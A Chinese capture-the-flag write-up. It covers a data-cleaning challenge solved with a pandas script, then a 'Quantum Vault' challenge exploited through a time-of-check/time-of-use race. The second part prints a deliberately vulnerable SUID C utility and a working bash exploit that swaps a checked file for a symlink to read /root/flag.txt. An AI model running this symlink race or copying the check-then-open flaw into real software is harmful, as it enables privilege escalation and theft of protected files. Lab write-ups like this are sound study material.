What a mess!

这题被非预期了,交对一个就能从相应包中看到flag((

预期解:

观察表格发现是做了以下混淆:

姓名:随机将姓氏王替换为Wang、随机将姓氏李替换为Li

手机号:以13912345678为例,表格中存在六种格式:13912345678、139-1234-5678、139 1234 5678、+8613912345678、(+86)139-12345678、139(1234)5678,另外还随机进行了半角转全角、插入零宽字符,注意需根据规则筛选出白名单内的号码前缀

身份证号:随机替换最后一位或增长一位,另外还随机插入了零宽字符

余额:存在三种格式,123、¥123、123CNY,注意需根据规则只需要计算正数余额

解题脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
import pandas as pd
import unicodedata
import re

INPUT_CSV = "customer_dump.csv"
INPUT_XLSX = "system_audit_logs.xlsx"

def clean_text_basic(text):
if pd.isna(text):
return ""
text = str(text)
text = unicodedata.normalize('NFKC', text)
zero_width_chars = ['\u200b', '\u200c', '\u200d', '\uFEFF']
for char in zero_width_chars:
text = text.replace(char, '')

return text.strip()

def extract_valid_phone(phone_str, whitelist_prefixes):
digits = re.sub(r'\D', '', phone_str)
if len(digits) == 13 and digits.startswith('86'):
digits = digits[2:]
if len(digits) != 11:
return None
prefix = digits[:3]
if prefix in whitelist_prefixes:
return digits

return None

def check_id_card(id_card):
if len(id_card) != 18:
return False
if not re.match(r'^\d{17}[\dX]$', id_card):
return False
factors = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]
check_map = ['1', '0', 'X', '9', '8', '7', '6', '5', '4', '3', '2']

try:
total_sum = 0
for i in range(17):
total_sum += int(id_card[i]) * factors[i]

remainder = total_sum % 11
expected_code = check_map[remainder]

return expected_code == id_card[-1].upper()
except:
return False

def parse_balance(balance_str):
clean_num = re.sub(r'[^\d.-]', '', balance_str)
try:
return float(clean_num)
except ValueError:
return 0.0

def is_surname_li(name):
if not name: return False
if name.startswith('李'):
return True
if name.lower().startswith('li'):
return True
return False

def main():
print("[-] 正在加载数据与规则...")
try:
rules_df = pd.read_excel(INPUT_XLSX, sheet_name='Sheet1')
# 提取 Allow_Prefix,通常是字符串 "135,136..."
prefix_rule = rules_df.loc[rules_df['Config_Item'] == 'Allow_Prefix', 'Value'].values[0]
valid_prefixes = [x.strip() for x in str(prefix_rule).split(',')]
print(f"[-] 加载白名单号段: {len(valid_prefixes)} 个")
except Exception as e:
print(f"[!] 读取Excel规则失败: {e}")
return
df = pd.read_csv(INPUT_CSV)
original_count = len(df)
print("[-] 执行全角转半角、去除零宽字符...")
for col in df.columns:
df[col] = df[col].apply(clean_text_basic)
print("[-] 执行数据去重...")
df.drop_duplicates(inplace=True)
dedup_count = len(df)
print(f"[-] 数据量变化: {original_count} -> {dedup_count} (剔除重复: {original_count - dedup_count})")
df['clean_phone'] = df['Phone'].apply(lambda x: extract_valid_phone(x, valid_prefixes))
df['is_valid_phone'] = df['clean_phone'].notna()
q1_ans = df['is_valid_phone'].sum()
df['is_valid_id'] = df['ID_Card'].apply(check_id_card)
q2_ans = df['is_valid_id'].sum()
df['is_valid_both'] = df['is_valid_phone'] & df['is_valid_id']
q3_ans = df['is_valid_both'].sum()
target_users = df[df['is_valid_both']].copy()
target_users['clean_balance'] = target_users['Balance'].apply(parse_balance)
q4_ans = target_users[target_users['clean_balance'] > 0]['clean_balance'].sum()
q5_ans = target_users['Name'].apply(is_surname_li).sum()
print("\n" + "="*30)
print(" 分析结果报告 ")
print("="*30)
print(f"Q1. 符合白名单的有效手机号数量: {q1_ans}")
print(f"Q2. 身份证校验位正确的记录数: {q2_ans}")
print(f"Q3. 同时满足Q1和Q2的记录数: {q3_ans}")
print(f"Q4. Q3用户的正资产余额总和: {q4_ans:,.2f}")
print(f"Q5. Q3用户中'李'姓(含Li)人数: {q5_ans}")
print("="*30)

if __name__ == "__main__":
main()

What another mess!

同What a mess!预期解

Quantum Vault

整道题考察的其实是TOCTOU漏洞。

上来给的是一个“跨维度金融终端”,题目中初始余额是100USD,要求拥有超过1000000USD才能成功执行vault。另外注意到collect可以给“影子池”添加1000QTC,sync可以耗时2.5秒将“影子池”同步到余额中,每次同步前只能collect五次。

预期解如下:

c738b836-cdf3-403a-be06-c5b1b6f8ed8e

主要是利用了延迟的这段时间迅速修改了单位,导致真正执行同步时读取到的是被修改后的单位导致记录错误。

接下来直接就给出了shell,根据题目描述flag在/root/flag.txt中,因此显然需要提权。尝试suid提权可以发现有个/usr/local/bin/q-vault-sync,这是个自定义的命令,-h可以看到其功能

82445024-037d-42fc-9fe8-857ff33c80cb

这里给出q-vault-sync.c的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <getopt.h>

void print_usage(char *prog_name) {
printf("Quantum Core Financial Terminal - Sync Utility\n");
printf("Usage: %s [options]\n\n", prog_name);
printf("Options:\n");
printf(" -s <file> Specify the source quantum key file for validation.\n");
printf(" -d <dir> Specify the destination shadow directory (Must be in /tmp/).\n");
printf(" -v Enable verbose diagnostic output.\n");
printf(" -h Display this help message and exit.\n\n");
printf("Description:\n");
printf(" This utility synchronizes local quantum entropy keys with the dimension\n");
printf(" ledger's shadow pool. It performs high-integrity ownership verification\n");
printf(" before initiating the cross-dimensional data transfer protocol.\n");
}

int main(int argc, char *argv[]) {
char *src = NULL;
char *dst_dir = NULL;
int verbose = 0;
int opt;

while ((opt = getopt(argc, argv, "s:d:vh")) != -1) {
switch (opt) {
case 's': src = optarg; break;
case 'd': dst_dir = optarg; break;
case 'v': verbose = 1; break;
case 'h': print_usage(argv[0]); return 0;
default: print_usage(argv[0]); return 1;
}
}

if (!src || !dst_dir) {
fprintf(stderr, "Error: Missing required arguments. Use -h for help.\n");
return 1;
}

char dest_path[512];
struct stat st;

if (strncmp(dst_dir, "/tmp/", 5) != 0) {
printf("[-] Security Error: Destination must reside within protected /tmp/ space.\n");
return 1;
}

if (lstat(src, &st) < 0) {
perror("lstat");
return 1;
}

if (S_ISLNK(st.st_mode)) {
printf("[-] Security Violation: Dimensional instability detected (Symlink forbidden).\n");
return 1;
}

if (st.st_uid != getuid()) {
printf("[-] Access Denied: Unauthorized key ownership.\n");
return 1;
}

if (verbose) printf("[DEBUG] Ownership verified. Initializing entropy-sync...\n");
printf("[*] Check passed. Quantum key validation in progress...\n");

sleep(2);

snprintf(dest_path, sizeof(dest_path), "%s/synced_key.dat", dst_dir);

int fd_in = open(src, O_RDONLY);
if (fd_in < 0) {
perror("open src");
return 1;
}

int fd_out = open(dest_path, O_WRONLY | O_CREAT | O_TRUNC, 0666);
if (fd_out < 0) {
perror("open dst");
close(fd_in);
return 1;
}

char buf[1024];
int n;
while ((n = read(fd_in, buf, sizeof(buf))) > 0) {
write(fd_out, buf, n);
}

close(fd_in);
close(fd_out);
chown(dest_path, getuid(), getgid());

printf("[+] Key successfully synchronized to %s\n", dest_path);
return 0;
}

在q-vault-sync.c的源码中,程序执行了以下逻辑:

  1. Check:调用 lstat() 检查源文件。此时它确认了:
    1. 文件是否在/tmp下
    2. 文件不是软链接。
    3. 文件属于当前用户 ctfuser。
  2. Delay:程序执行了sleep(2)。
  3. Use:程序调用 open(),若此时程序具有 SUID 权限,它会打开并读取目标文件。

又因为open()会默认跟随软链接,因此在lstat完成之后,open执行之前,迅速将合法文件替换为指向/root/flag.txt的软链接即可。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
cat << 'EOF' > exploit.sh && chmod +x exploit.sh && ./exploit.sh
#!/bin/bash
TARGET_DIR="/tmp/hack"
MY_KEY="$TARGET_DIR/mykey.txt"

mkdir -p "$TARGET_DIR"
echo "valid_key" > "$MY_KEY"

/usr/local/bin/q-vault-sync -s "$MY_KEY" -d "$TARGET_DIR" &
PID=$!

sleep 0.4
rm "$MY_KEY" && ln -s /root/flag.txt "$MY_KEY"

wait $PID
cat "$TARGET_DIR/synced_key.dat"
EOF
6ef53010-ebec-43da-a5f4-8eb88ff38a99